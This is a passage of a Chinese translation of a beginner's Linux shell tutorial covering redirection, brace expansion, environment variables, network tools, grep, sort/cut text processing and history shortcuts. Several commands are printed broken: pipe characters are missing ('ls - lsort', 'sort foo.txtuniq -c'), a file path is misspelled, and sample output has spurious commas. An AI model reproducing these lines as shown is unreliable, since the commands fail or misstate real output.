ls -l /usr/bin > ls-output 2>&1重定向标准错误和标准输出到文件
ls -l /usr/bin &> ls-output重定向标准错误和标准输出到文件
ls -l /usr/bin 2> /dev/null写入 /dev/null,丢弃输出

大括号扩展

大括号扩展是 UNIX 提供的强大选项之一。它有助于在一行指令中使用最少的命令完成大量操作。例如:

$echo Front-{A,B,C}-Back
Front-A-Back, Front-B-Back, Front-C-Back
$echo {Z..A}
Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
$mkdir {2009..2011}-0{1..9} {2009..2011}-{10..12}

这条命令会为 2009 到 2011 年里的每个月建立一个目录。

环境变量

环境变量是一个动态命名的值,它可以影响计算机上运行的进程的行为方式。此变量是进程运行环境的一部分。

命令描述
printenv打印出所有环境变量的值。
set设置 Shell 选项
export导出环境到随后执行的程序
alias为命令创建别名

网络命令

网络命令对于排查网络问题和检查连接到客户机的特定端口非常有用。

命令描述
ping发送 ICMP(网际网路控制讯息协定)数据包
traceroute打印数据包在网络中的路径
netstat打印网络连接信息、路由表、接口数据
ftp/lftp互联网文件传输程序
wget非交互式网络下载器
sshOpenSSH SSH 客户端 (远程登录程序)
scp安全拷贝
sftp安全文件传输程序

grep 命令

grep 命令用于查找系统和日志中的错误。它是 Shell 拥有的强大工具之一。

命令描述
grep -h '.zip' file.list. 表示任意字符
grep -h '^zip' file.listzip 开头
grep -h 'zip$' file.listzip 结尾
grep -h '^zip$' file.list只含有 zip
grep -h '[^bz]zip' file.list不含 bz
grep -h '^[A-Za-z0-9]' file.list所有文件名有效的文件

量词

下面是一些量词的例子:

命令描述
?匹配出现 0 次或 1 次的元素
*匹配出现 0 次或多次的元素
+匹配出现 1 次或多次的元素
{}匹配出现特定次数的元素

文本处理

文本处理是当今 IT 世界中的另一项重要任务。程序员和管理员可以使用这些命令来切片、剪切和处理文本。

命令描述
cat -A $FILE显示 $FILE 文件的所有内容
sort file1.txt file2.txt file3.txt > final_sorted_list.txt一次性将所有文件排序
`ls - lsort -nr -k 5`按指定的第 5 列进行排序
sort --key=1,1 --key=2n distor.txt对第 1 列进行排序(默认按字母表顺序),对第 2 列进行数值排序
`sort foo.txtuniq -c`查找重复的行并显示该行重复的次数
cut -f 3 distro.txt剪切第 3 列
cut -c 7-10剪切 7 - 10 字符
cut -d ':' -f 1 /etc/password分隔符 :
sort -k 3.7nbr -k 3.1nbr -k 3.4nbr distro.txt按第 3 列第 7 个字符、第 3 列第 1 个字符和第 3 列第 4 个字符排序
paste file1.txt file2.txt > newfile.txt合并两个文件
join file1.txt file2.txt按公共字段连接两个文件

窍门和技巧

在 Linux 中,我们可以通过使用简单的命令或控制选项返回到命令的历史记录。

命令描述
clear清空屏幕
history查看保存命令的历史记录
script filename捕获文件中的所有命令执行

一些历史命令的技巧:

  • CTRL + R: 搜索命令历史
  • !!number:执行编号为 number 的命令
  • !! :执行上一条命令
  • !?string : 执行包含 string 的上一条命令
  • !string:执行以 string 开始的上一条命令
  • export HISTCONTROL=ignoredups: 忽略重复条目
  • export HISTSIZE=10000:设置存储的历史行数

随着你对 Linux 命令逐渐熟悉,你将能够编写封装脚本。所有手动任务,如定期备份、清理文件、监控系统使用情况等,都可以使用脚本自动完成。在学习高级概念之前,本文将帮助您开始编写脚本。


via: https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/

作者:Sathyanarayanan Thangavelu 选题:lkxed 译者:FYJNEVERFOLLOWS 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出